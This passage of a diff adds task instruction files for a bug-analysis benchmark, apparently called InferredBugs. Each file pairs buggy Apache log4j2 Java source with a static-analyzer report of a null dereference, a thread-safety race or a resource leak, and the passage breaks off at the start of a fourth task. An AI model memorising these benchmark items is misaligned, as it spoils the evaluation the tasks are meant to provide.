+                sdElements.put(id.toString(), formattedData);
+            }
+        }
+
+        if (sdElements.size() == 0) {
+            buffer.append("-");
+            return;
+        }
+
+        for (final Map.Entry<String, StructuredDataElement> entry: sdElements.entrySet()) {
+            formatStructuredElement(entry.getKey(), mdcPrefix, entry.getValue(), buffer, checker);
+        }
+    }
+
+    private String escapeNewlines(final String text, final String escapeNewLine) {
+        if (null == escapeNewLine) {
+            return text;
+        }
+        return NEWLINE_PATTERN.matcher(text).replaceAll(escapeNewLine);
+    }
+
+    protected String getProcId() {
+        return "-";
+    }
+
+    protected List<String> getMdcExcludes() {
+        return mdcExcludes;
+    }
+
+    protected List<String> getMdcIncludes() {
+        return mdcIncludes;
+    }
+
+    private String computeTimeStampString(final long now) {
+        long last;
+        synchronized (this) {
+            last = lastTimestamp;
+            if (now == lastTimestamp) {
+                return timestamppStr;
+            }
+        }
+
+        final StringBuilder buffer = new StringBuilder();
+        final Calendar cal = new GregorianCalendar();
+        cal.setTimeInMillis(now);
+        buffer.append(Integer.toString(cal.get(Calendar.YEAR)));
+        buffer.append("-");
+        pad(cal.get(Calendar.MONTH) + 1, TWO_DIGITS, buffer);
+        buffer.append("-");
+        pad(cal.get(Calendar.DAY_OF_MONTH), TWO_DIGITS, buffer);
+        buffer.append("T");
+        pad(cal.get(Calendar.HOUR_OF_DAY), TWO_DIGITS, buffer);
+        buffer.append(":");
+        pad(cal.get(Calendar.MINUTE), TWO_DIGITS, buffer);
+        buffer.append(":");
+        pad(cal.get(Calendar.SECOND), TWO_DIGITS, buffer);
+
+        final int millis = cal.get(Calendar.MILLISECOND);
+        if (millis != 0) {
+            buffer.append('.');
+            pad(millis, THREE_DIGITS, buffer);
+        }
+
+        int tzmin = (cal.get(Calendar.ZONE_OFFSET) + cal.get(Calendar.DST_OFFSET)) / MILLIS_PER_MINUTE;
+        if (tzmin == 0) {
+            buffer.append("Z");
+        } else {
+            if (tzmin < 0) {
+                tzmin = -tzmin;
+                buffer.append("-");
+            } else {
+                buffer.append("+");
+            }
+            final int tzhour = tzmin / MINUTES_PER_HOUR;
+            tzmin -= tzhour * MINUTES_PER_HOUR;
+            pad(tzhour, TWO_DIGITS, buffer);
+            buffer.append(":");
+            pad(tzmin, TWO_DIGITS, buffer);
+        }
+        synchronized (this) {
+            if (last == lastTimestamp) {
+                lastTimestamp = now;
+                timestamppStr = buffer.toString();
+            }
+        }
+        return buffer.toString();
+    }
+
+    private void pad(final int val, int max, final StringBuilder buf) {
+        while (max > 1) {
+            if (val < max) {
+                buf.append("0");
+            }
+            max = max / TWO_DIGITS;
+        }
+        buf.append(Integer.toString(val));
+    }
+
+    private void formatStructuredElement(final String id, final String prefix, final StructuredDataElement data,
+                                         final StringBuilder sb, final ListChecker checker) {
+        if ((id == null && defaultId == null) || data.discard()) {
+            return;
+        }
+
+        sb.append("[");
+        sb.append(id);
+        if (!mdcSDID.toString().equals(id)) {
+            appendMap(prefix, data.getFields(), sb, noopChecker);
+        } else {
+            appendMap(prefix, data.getFields(), sb, checker);
+        }
+        sb.append("]");
+    }
+
+    private String getId(final StructuredDataId id) {
+        final StringBuilder sb = new StringBuilder();
+        if (id == null || id.getName() == null) {
+            sb.append(defaultId);
+        } else {
+            sb.append(id.getName());
+        }
+        int ein = id != null ? id.getEnterpriseNumber() : enterpriseNumber;
+        if (ein < 0) {
+            ein = enterpriseNumber;
+        }
+        if (ein >= 0) {
+            sb.append("@").append(ein);
+        }
+        return sb.toString();
+    }
+
+    private void checkRequired(final Map<String, String> map) {
+        for (final String key : mdcRequired) {
+            final String value = map.get(key);
+            if (value == null) {
+                throw new LoggingException("Required key " + key + " is missing from the " + mdcId);
+            }
+        }
+    }
+
+    private void appendMap(final String prefix, final Map<String, String> map, final StringBuilder sb,
+                           final ListChecker checker) {
+        final SortedMap<String, String> sorted = new TreeMap<String, String>(map);
+        for (final Map.Entry<String, String> entry : sorted.entrySet()) {
+            if (checker.check(entry.getKey()) && entry.getValue() != null) {
+                sb.append(" ");
+                if (prefix != null) {
+                    sb.append(prefix);
+                }
+                sb.append(escapeNewlines(escapeSDParams(entry.getKey()), escapeNewLine)).append("=\"")
+                    .append(escapeNewlines(escapeSDParams(entry.getValue()), escapeNewLine)).append("\"");
+            }
+        }
+    }
+
+    private String escapeSDParams(final String value) {
+        return PARAM_VALUE_ESCAPE_PATTERN.matcher(value).replaceAll("\\\\$0");
+    }
+
+    /**
+     * Interface used to check keys in a Map.
+     */
+    private interface ListChecker {
+        boolean check(String key);
+    }
+
+    /**
+     * Includes only the listed keys.
+     */
+    private class IncludeChecker implements ListChecker {
+        @Override
+        public boolean check(final String key) {
+            return mdcIncludes.contains(key);
+        }
+    }
+
+    /**
+     * Excludes the listed keys.
+     */
+    private class ExcludeChecker implements ListChecker {
+        @Override
+        public boolean check(final String key) {
+            return !mdcExcludes.contains(key);
+        }
+    }
+
+    /**
+     * Does nothing.
+     */
+    private class NoopChecker implements ListChecker {
+        @Override
+        public boolean check(final String key) {
+            return true;
+        }
+    }
+
+    @Override
+    public String toString() {
+        final StringBuilder sb = new StringBuilder();
+        sb.append("facility=").append(facility.name());
+        sb.append(" appName=").append(appName);
+        sb.append(" defaultId=").append(defaultId);
+        sb.append(" enterpriseNumber=").append(enterpriseNumber);
+        sb.append(" newLine=").append(includeNewLine);
+        sb.append(" includeMDC=").append(includeMDC);
+        sb.append(" messageId=").append(messageId);
+        return sb.toString();
+    }
+
+    /**
+     * Create the RFC 5424 Layout.
+     *
+     * @param facility         The Facility is used to try to classify the message.
+     * @param id               The default structured data id to use when formatting according to RFC 5424.
+     * @param ein              The IANA enterprise number.
+     * @param includeMDC       Indicates whether data from the ThreadContextMap will be included in the RFC 5424 Syslog
+     *                         record. Defaults to "true:.
+     * @param mdcId            The id to use for the MDC Structured Data Element.
+     * @param mdcPrefix        The prefix to add to MDC key names.
+     * @param eventPrefix      The prefix to add to event key names.
+     * @param includeNL        If true, a newline will be appended to the end of the syslog record. The default is false.
+     * @param escapeNL         String that should be used to replace newlines within the message text.
+     * @param appName          The value to use as the APP-NAME in the RFC 5424 syslog record.
+     * @param msgId            The default value to be used in the MSGID field of RFC 5424 syslog records.
+     * @param excludes         A comma separated list of MDC keys that should be excluded from the LogEvent.
+     * @param includes         A comma separated list of MDC keys that should be included in the FlumeEvent.
+     * @param required         A comma separated list of MDC keys that must be present in the MDC.
+     * @param exceptionPattern The pattern for formatting exceptions.
+     * @param useTLSMessageFormat If true the message will be formatted according to RFC 5425.
+     * @param loggerFields     Container for the KeyValuePairs containing the patterns
+     * @param config           The Configuration. Some Converters require access to the Interpolator.
+     * @return An RFC5424Layout.
+     */
+    @PluginFactory
+    public static RFC5424Layout createLayout(
+            @PluginAttribute("facility") final String facility,
+            @PluginAttribute("id") final String id,
+            @PluginAttribute("enterpriseNumber") final String ein,
+            @PluginAttribute("includeMDC") final String includeMDC,
+            @PluginAttribute("mdcId") String mdcId,
+            @PluginAttribute("mdcPrefix") final String mdcPrefix,
+            @PluginAttribute("eventPrefix") final String eventPrefix,
+            @PluginAttribute("newLine") final String includeNL,
+            @PluginAttribute("newLineEscape") final String escapeNL,
+            @PluginAttribute("appName") final String appName,
+            @PluginAttribute("messageId") final String msgId,
+            @PluginAttribute("mdcExcludes") final String excludes,
+            @PluginAttribute("mdcIncludes") String includes,
+            @PluginAttribute("mdcRequired") final String required,
+            @PluginAttribute("exceptionPattern") final String exceptionPattern,
+            @PluginAttribute("useTLSMessageFormat") final String useTLSMessageFormat, // RFC 5425
+            @PluginElement("LoggerFields") final LoggerFields[] loggerFields,
+            @PluginConfiguration final Configuration config) {
+        final Charset charset = Charsets.UTF_8;
+        if (includes != null && excludes != null) {
+            LOGGER.error("mdcIncludes and mdcExcludes are mutually exclusive. Includes wil be ignored");
+            includes = null;
+        }
+        final Facility f = Facility.toFacility(facility, Facility.LOCAL0);
+        final int enterpriseNumber = Integers.parseInt(ein, DEFAULT_ENTERPRISE_NUMBER);
+        final boolean isMdc = Booleans.parseBoolean(includeMDC, true);
+        final boolean includeNewLine = Boolean.parseBoolean(includeNL);
+        final boolean useTlsMessageFormat = Booleans.parseBoolean(useTLSMessageFormat, false);
+        if (mdcId == null) {
+            mdcId = DEFAULT_MDCID;
+        }
+
+        return new RFC5424Layout(config, f, id, enterpriseNumber, isMdc, includeNewLine, escapeNL, mdcId, mdcPrefix,
+                eventPrefix, appName, msgId, excludes, includes, required, charset, exceptionPattern,
+                useTlsMessageFormat, loggerFields);
+    }
+
+    private class FieldFormatter {
+
+        private final Map<String, List<PatternFormatter>> delegateMap;
+        private final boolean discardIfEmpty;
+
+        public FieldFormatter(final Map<String, List<PatternFormatter>> fieldMap, final boolean discardIfEmpty) {
+            this.discardIfEmpty = discardIfEmpty;
+            this.delegateMap = fieldMap;
+        }
+
+        public StructuredDataElement format(final LogEvent event) {
+            final Map<String, String> map = new HashMap<String, String>();
+
+            for (final Map.Entry<String, List<PatternFormatter>> entry : delegateMap.entrySet()) {
+                final StringBuilder buffer = new StringBuilder();
+                for (final PatternFormatter formatter : entry.getValue()) {
+                    formatter.format(event, buffer);
+                }
+                map.put(entry.getKey(), buffer.toString());
+            }
+            return new StructuredDataElement(map, discardIfEmpty);
+        }
+    }
+
+    private class StructuredDataElement {
+
+        private final Map<String, String> fields;
+        private final boolean discardIfEmpty;
+
+        public StructuredDataElement(final Map<String, String> fields, final boolean discardIfEmpty) {
+            this.discardIfEmpty = discardIfEmpty;
+            this.fields = fields;
+        }
+
+        boolean discard() {
+            if (discardIfEmpty == false) {
+                return false;
+            }
+            boolean foundNotEmptyValue = false;
+            for (final Map.Entry<String, String> entry : fields.entrySet()) {
+                if (Strings.isNotEmpty(entry.getValue())) {
+                    foundNotEmptyValue = true;
+                    break;
+                }
+            }
+            return !foundNotEmptyValue;
+        }
+
+        void union(final Map<String, String> fields) {
+            this.fields.putAll(fields);
+        }
+
+        Map<String, String> getFields() {
+            return this.fields;
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `union` last assigned on line 386 could be null and is dereferenced at line 387.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RFC5424Layout.appendStructuredElements(StringBuilder,LogEvent)
+
+### Procedure Id:
+org.apache.logging.log4j.core.layout.RFC5424Layout.appendStructuredElements(java.lang.StringBuilder,.2997c14ae76f21cda76dfd1156f13dc7
+
+### File:
+log4j-core/src/main/java/org/apache/logging/log4j/core/layout/RFC5424Layout.java
+
+### Key:
+RFC5424Layout.java|appendStructuredElements|NULL_DEREFERENCE
+
+### Node Key:
+09634589313b8637b1fe1e1bb0135b05
+
+### Hash:
+a422c6a77ceda54d123a2451e249fa79
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7856/instruction.md b/inferredbugs-7856/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..bf52d92e8866b4834dd6028e47da1469319040bc
--- /dev/null
+++ b/inferredbugs-7856/instruction.md
@@ -0,0 +1,468 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** logging-log4j2
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache license, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the license for the specific language governing permissions and
+ * limitations under the license.
+ */
+package org.apache.logging.log4j.flume.appender;
+
+import org.apache.avro.AvroRemoteException;
+import org.apache.avro.ipc.NettyTransceiver;
+import org.apache.avro.ipc.Transceiver;
+import org.apache.avro.ipc.specific.SpecificRequestor;
+import org.apache.flume.event.SimpleEvent;
+import org.apache.flume.source.avro.AvroFlumeEvent;
+import org.apache.flume.source.avro.AvroSourceProtocol;
+import org.apache.flume.source.avro.Status;
+import org.apache.logging.log4j.core.appender.AppenderRuntimeException;
+import org.apache.logging.log4j.core.appender.ManagerFactory;
+
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Manager for FlumeAvroAppenders.
+ */
+public class FlumeAvroManager extends AbstractFlumeManager {
+
+    /**
+      The default reconnection delay (500 milliseconds or .5 seconds).
+     */
+    public static final int DEFAULT_RECONNECTION_DELAY   = 500;
+
+    private static final int DEFAULT_RECONNECTS = 3;
+
+    private static ManagerFactory factory = new AvroManagerFactory();
+
+    private AvroSourceProtocol client;
+
+    private final Agent[] agents;
+
+    private final int batchSize;
+
+    private final EventList events = new EventList();
+
+    private int current = 0;
+
+    private Transceiver transceiver;
+
+    /**
+     * Constructor
+     * @param name The unique name of this manager.
+     * @param agents An array of Agents.
+     * @param batchSize The number of events to include in a batch.
+     */
+    protected FlumeAvroManager(final String name, final String shortName, final Agent[] agents, final int batchSize) {
+        super(name);
+        this.agents = agents;
+        this.batchSize = batchSize;
+        this.client = connect(agents);
+    }
+
+    /**
+     * Returns a FlumeAvroManager.
+     * @param name The name of the manager.
+     * @param agents The agents to use.
+     * @param batchSize The number of events to include in a batch.
+     * @return A FlumeAvroManager.
+     */
+    public static FlumeAvroManager getManager(final String name, final Agent[] agents, int batchSize) {
+        if (agents == null || agents.length == 0) {
+            throw new IllegalArgumentException("At least one agent is required");
+        }
+
+        if (batchSize <= 0) {
+            batchSize = 1;
+        }
+
+        final StringBuilder sb = new StringBuilder("FlumeAvro[");
+        boolean first = true;
+        for (final Agent agent : agents) {
+            if (!first) {
+                sb.append(",");
+            }
+            sb.append(agent.getHost()).append(":").append(agent.getPort());
+            first = false;
+        }
+        sb.append("]");
+        return (FlumeAvroManager) getManager(sb.toString(), factory, new FactoryData(name, agents, batchSize));
+    }
+
+    /**
+     * Returns the agents.
+     * @return The agent array.
+     */
+    public Agent[] getAgents() {
+        return agents;
+    }
+
+    /**
+     * Returns the index of the current agent.
+     * @return The index for the current agent.
+     */
+    public int getCurrent() {
+        return current;
+    }
+
+    public synchronized void send(final BatchEvent events) {
+        if (client == null) {
+            client = connect(agents);
+        }
+
+        if (client != null) {
+            final List<SimpleEvent> list = events.getEvents();
+            final List<AvroFlumeEvent> batch = new ArrayList<AvroFlumeEvent>(list.size());
+            for (SimpleEvent event : list) {
+                final AvroFlumeEvent avroEvent = new AvroFlumeEvent();
+                avroEvent.setBody(ByteBuffer.wrap(event.getBody()));
+                avroEvent.setHeaders(new HashMap<CharSequence, CharSequence>());
+
+                for (final Map.Entry<String, String> entry : event.getHeaders().entrySet()) {
+                    avroEvent.getHeaders().put(entry.getKey(), entry.getValue());
+                }
+                batch.add(avroEvent);
+            }
+
+            try {
+                final Status status = client.appendBatch(batch);
+                if (status.equals(Status.OK)) {
+                    return;
+                } else {
+                    LOGGER.warn("RPC communication failed to " + agents[current].getHost() +
+                        ":" + agents[current].getPort());
+                }
+            } catch (final Exception ex) {
+                String msg = "Unable to write to " + getName() + " at " + agents[current].getHost() + ":" +
+                    agents[current].getPort();
+                LOGGER.warn(msg, ex);
+            }
+
+            for (int index = 0; index < agents.length; ++index) {
+                if (index == current) {
+                    continue;
+                }
+                final Agent agent = agents[index];
+                try {
+                    transceiver = null;
+                    final AvroSourceProtocol c = connect(agent.getHost(), agent.getPort());
+                    final Status status = c.appendBatch(batch);
+                    if (!status.equals(Status.OK)) {
+                        final String warnMsg = "RPC communication failed to " + getName() + " at " +
+                            agent.getHost() + ":" + agent.getPort();
+                        LOGGER.warn(warnMsg);
+                        continue;
+                    }
+                    client = c;
+                    current = index;
+                    return;
+                } catch (final Exception ex) {
+                    final String warnMsg = "Unable to write to " + getName() + " at " + agent.getHost() + ":" +
+                        agent.getPort();
+                    LOGGER.warn(warnMsg, ex);
+                }
+            }
+        }
+        throw new AppenderRuntimeException("No Flume agents are available");
+    }
+
+    @Override
+    public synchronized void send(final SimpleEvent event, int delay, int retries)  {
+        if (delay == 0) {
+            delay = DEFAULT_RECONNECTION_DELAY;
+        }
+        if (retries == 0) {
+            retries = DEFAULT_RECONNECTS;
+        }
+        if (client == null) {
+            client = connect(agents);
+        }
+        String msg = "No Flume agents are available";
+        if (client != null) {
+            final AvroFlumeEvent avroEvent = new AvroFlumeEvent();
+            avroEvent.setBody(ByteBuffer.wrap(event.getBody()));
+            avroEvent.setHeaders(new HashMap<CharSequence, CharSequence>());
+
+            for (final Map.Entry<String, String> entry : event.getHeaders().entrySet()) {
+                avroEvent.getHeaders().put(entry.getKey(), entry.getValue());
+            }
+
+            final List<AvroFlumeEvent> batch = batchSize > 1 ? events.addAndGet(avroEvent, batchSize) : null;
+            if (batch == null && batchSize > 1) {
+                return;
+            }
+
+            int i = 0;
+
+            msg = "Error writing to " + getName();
+
+            do {
+                try {
+                    final Status status = (batch == null) ? client.append(avroEvent) : client.appendBatch(batch);
+                    if (!status.equals(Status.OK)) {
+                        throw new AvroRemoteException("RPC communication failed to " + agents[current].getHost() +
+                            ":" + agents[current].getPort());
+                    }
+                    return;
+                } catch (final Exception ex) {
+                    if (i == retries - 1) {
+                        msg = "Unable to write to " + getName() + " at " + agents[current].getHost() + ":" +
+                            agents[current].getPort();
+                        LOGGER.warn(msg, ex);
+                        break;
+                    }
+                    sleep(delay);
+                }
+            } while (++i < retries);
+
+            for (int index = 0; index < agents.length; ++index) {
+                if (index == current) {
+                    continue;
+                }
+                final Agent agent = agents[index];
+                i = 0;
+                do {
+                    try {
+                        transceiver = null;
+                        final AvroSourceProtocol c = connect(agent.getHost(), agent.getPort());
+                        final Status status = (batch == null) ? c.append(avroEvent) : c.appendBatch(batch);
+                        if (!status.equals(Status.OK)) {
+                            if (i == retries - 1) {
+                                final String warnMsg = "RPC communication failed to " + getName() + " at " +
+                                    agent.getHost() + ":" + agent.getPort();
+                                LOGGER.warn(warnMsg);
+                            }
+                            continue;
+                        }
+                        client = c;
+                        current = index;
+                        return;
+                    } catch (final Exception ex) {
+                        if (i == retries - 1) {
+                            final String warnMsg = "Unable to write to " + getName() + " at " + agent.getHost() + ":" +
+                                agent.getPort();
+                            LOGGER.warn(warnMsg, ex);
+                            break;
+                        }
+                        sleep(delay);
+                    }
+                } while (++i < retries);
+            }
+        }
+
+        throw new AppenderRuntimeException(msg);
+
+    }
+
+    private void sleep(final int delay) {
+        try {
+            Thread.sleep(delay);
+        } catch (final InterruptedException ex) {
+            Thread.currentThread().interrupt();
+        }
+    }
+
+    /**
+     * There is a very good chance that this will always return the first agent even if it isn't available.
+     * @param agents The list of agents to choose from
+     * @return The FlumeEventAvroServer.
+     */
+    private AvroSourceProtocol connect(final Agent[] agents) {
+        int i = 0;
+        for (final Agent agent : agents) {
+            final AvroSourceProtocol server = connect(agent.getHost(), agent.getPort());
+            if (server != null) {
+                current = i;
+                return server;
+            }
+            ++i;
+        }
+        LOGGER.error("Flume manager " + getName() + " was unable to connect to any agents");
+        return null;
+    }
+
+    private AvroSourceProtocol connect(final String hostname, final int port) {
+        try {
+            if (transceiver == null) {
+                transceiver = new NettyTransceiver(new InetSocketAddress(hostname, port));
+            }
+        } catch (final IOException ioe) {
+            LOGGER.error("Unable to create transceiver", ioe);
+            return null;
+        }
+        try {
+            return SpecificRequestor.getClient(AvroSourceProtocol.class, transceiver);
+        } catch (final IOException ioe) {
+            LOGGER.error("Unable to create Avro client");
+            return null;
+        }
+    }
+
+    @Override
+    protected void releaseSub() {
+        if (transceiver != null) {
+            try {
+                transceiver.close();
+            } catch (final IOException ioe) {
+                LOGGER.error("Attempt to clean up Avro transceiver failed", ioe);
+            }
+        }
+        client = null;
+    }
+
+    /**
+     * Thread-safe List management of a batch.
+     */
+    private static class EventList extends ArrayList<AvroFlumeEvent> {
+
+        /**
+         * Generated serial version ID.
+         */
+        private static final long serialVersionUID = -1599817377315957495L;
+
+        public synchronized List<AvroFlumeEvent> addAndGet(final AvroFlumeEvent event, final int batchSize) {
+            super.add(event);
+            if (this.size() >= batchSize) {
+                final List<AvroFlumeEvent> events = new ArrayList<AvroFlumeEvent>();
+                events.addAll(this);
+                clear();
+                return events;
+            } else {
+                return null;
+            }
+        }
+    }
+
+    /**
+     * Factory data.
+     */
+    private static class FactoryData {
+        private final String name;
+        private final Agent[] agents;
+        private final int batchSize;
+
+        /**
+         * Constructor.
+         * @param name The name of the Appender.
+         * @param agents The agents.
+         * @param batchSize The number of events to include in a batch.
+         */
+        public FactoryData(final String name, final Agent[] agents, final int batchSize) {
+            this.name = name;
+            this.agents = agents;
+            this.batchSize = batchSize;
+        }
+    }
+
+    /**
+     * Avro Manager Factory.
+     */
+    private static class AvroManagerFactory implements ManagerFactory<FlumeAvroManager, FactoryData> {
+
+        /**
+         * Create the FlumeAvroManager.
+         * @param name The name of the entity to manage.
+         * @param data The data required to create the entity.
+         * @return The FlumeAvroManager.
+         */
+        public FlumeAvroManager createManager(final String name, final FactoryData data) {
+            try {
+
+                return new FlumeAvroManager(name, data.name, data.agents, data.batchSize);
+            } catch (final Exception ex) {
+                LOGGER.error("Could not create FlumeAvroManager", ex);
+            }
+            return null;
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.logging.log4j.flume.appender.FlumeAvroManager.releaseSub` reads without synchronization from `this.org.apache.logging.log4j.flume.appender.FlumeAvroManager.transceiver`. Potentially races with write in method `FlumeAvroManager.send(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void FlumeAvroManager.releaseSub()
+
+### Procedure Id:
+org.apache.logging.log4j.flume.appender.FlumeAvroManager.releaseSub():void.66289e2f21b919aa552086f4576962c7
+
+### File:
+flume-ng/src/main/java/org/apache/logging/log4j/flume/appender/FlumeAvroManager.java
+
+### Key:
+FlumeAvroManager.java|releaseSub|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+5fdb02a8e2deaa3a76b708917407c899
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7912/instruction.md b/inferredbugs-7912/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5715aaf7f86ae3bb14d0d35d962fa2083a8ec0e0
--- /dev/null
+++ b/inferredbugs-7912/instruction.md
@@ -0,0 +1,221 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** logging-log4j2
+**Bug ID:** 64
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache license, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the license for the specific language governing permissions and
+ * limitations under the license.
+ */
+package org.apache.logging.log4j.core.appender.rolling.action;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipOutputStream;
+
+
+/**
+ * Compresses a file using Zip compression.
+ */
+public final class ZipCompressAction extends AbstractAction {
+
+    private static final int BUF_SIZE = 8102;
+
+    /**
+     * Source file.
+     */
+    private final File source;
+
+    /**
+     * Destination file.
+     */
+    private final File destination;
+
+    /**
+     * If true, attempt to delete file on completion.
+     */
+    private final boolean deleteSource;
+
+    /**
+     * Compression level.
+     */
+    private final int level;
+
+    /**
+     * Create new instance of GzCompressAction.
+     *
+     * @param source       file to compress, may not be null.
+     * @param destination  compressed file, may not be null.
+     * @param deleteSource if true, attempt to delete file on completion.  Failure to delete
+     *                     does not cause an exception to be thrown or affect return value.
+     * @param level TODO
+     */
+    public ZipCompressAction(final File source, final File destination, final boolean deleteSource, final int level) {
+        if (source == null) {
+            throw new NullPointerException("source");
+        }
+
+        if (destination == null) {
+            throw new NullPointerException("destination");
+        }
+
+        this.source = source;
+        this.destination = destination;
+        this.deleteSource = deleteSource;
+        this.level = level;
+    }
+
+    /**
+     * Compress.
+     *
+     * @return true if successfully compressed.
+     * @throws IOException on IO exception.
+     */
+    @Override
+    public boolean execute() throws IOException {
+        return execute(source, destination, deleteSource, level);
+    }
+
+    /**
+     * Compress a file.
+     *
+     * @param source       file to compress, may not be null.
+     * @param destination  compressed file, may not be null.
+     * @param deleteSource if true, attempt to delete file on completion.  Failure to delete
+     *                     does not cause an exception to be thrown or affect return value.
+     * @param level the compression level
+     * @return true if source file compressed.
+     * @throws IOException on IO exception.
+     */
+    public static boolean execute(final File source, final File destination, final boolean deleteSource, final int level)
+        throws IOException {
+        if (source.exists()) {
+            final FileInputStream fis = new FileInputStream(source);
+            final FileOutputStream fos = new FileOutputStream(destination);
+            final ZipOutputStream zos = new ZipOutputStream(fos);
+            zos.setLevel(level);
+
+            final ZipEntry zipEntry = new ZipEntry(source.getName());
+            zos.putNextEntry(zipEntry);
+
+            final byte[] inbuf = new byte[BUF_SIZE];
+            int n;
+
+            while ((n = fis.read(inbuf)) != -1) {
+                zos.write(inbuf, 0, n);
+            }
+
+            zos.close();
+            fis.close();
+
+            if (deleteSource && !source.delete()) {
+                LOGGER.warn("Unable to delete " + source.toString() + '.');
+            }
+
+            return true;
+        }
+
+        return false;
+    }
+
+    /**
+     * Capture exception.
+     *
+     * @param ex exception.
+     */
+    @Override
+    protected void reportException(final Exception ex) {
+        LOGGER.warn("Exception during compression of '" + source.toString() + "'.", ex);
+    }
+
+    @Override
+    public String toString() {
+        return ZipCompressAction.class.getSimpleName() + '[' + source + " to " + destination //
+                + ", level=" + level + ", deleteSource=" + deleteSource + ']';
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.util.zip.ZipOutputStream` acquired to `zos` by call to `new()` at line 105 is not released after line 128.
+**Note**: potential exception at line 114
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean ZipCompressAction.execute(File,File,boolean,int)
+
+### Procedure Id:
+org.apache.logging.log4j.core.appender.rolling.action.ZipCompressAction.execute(java.io.File,java.io.cfe0e01a033460c6ac7298996fe6fd3c
+
+### File:
+log4j-core/src/main/java/org/apache/logging/log4j/core/appender/rolling/action/ZipCompressAction.java
+
+### Key:
+ZipCompressAction.java|execute|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+2a4e649b158627d4d593a58262161196
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7913/instruction.md b/inferredbugs-7913/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..668ab06a33d18d09699dd0d32cf13e43582e3a2c
--- /dev/null
+++ b/inferredbugs-7913/instruction.md
@@ -0,0 +1,180 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** logging-log4j2
+**Bug ID:** 90
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
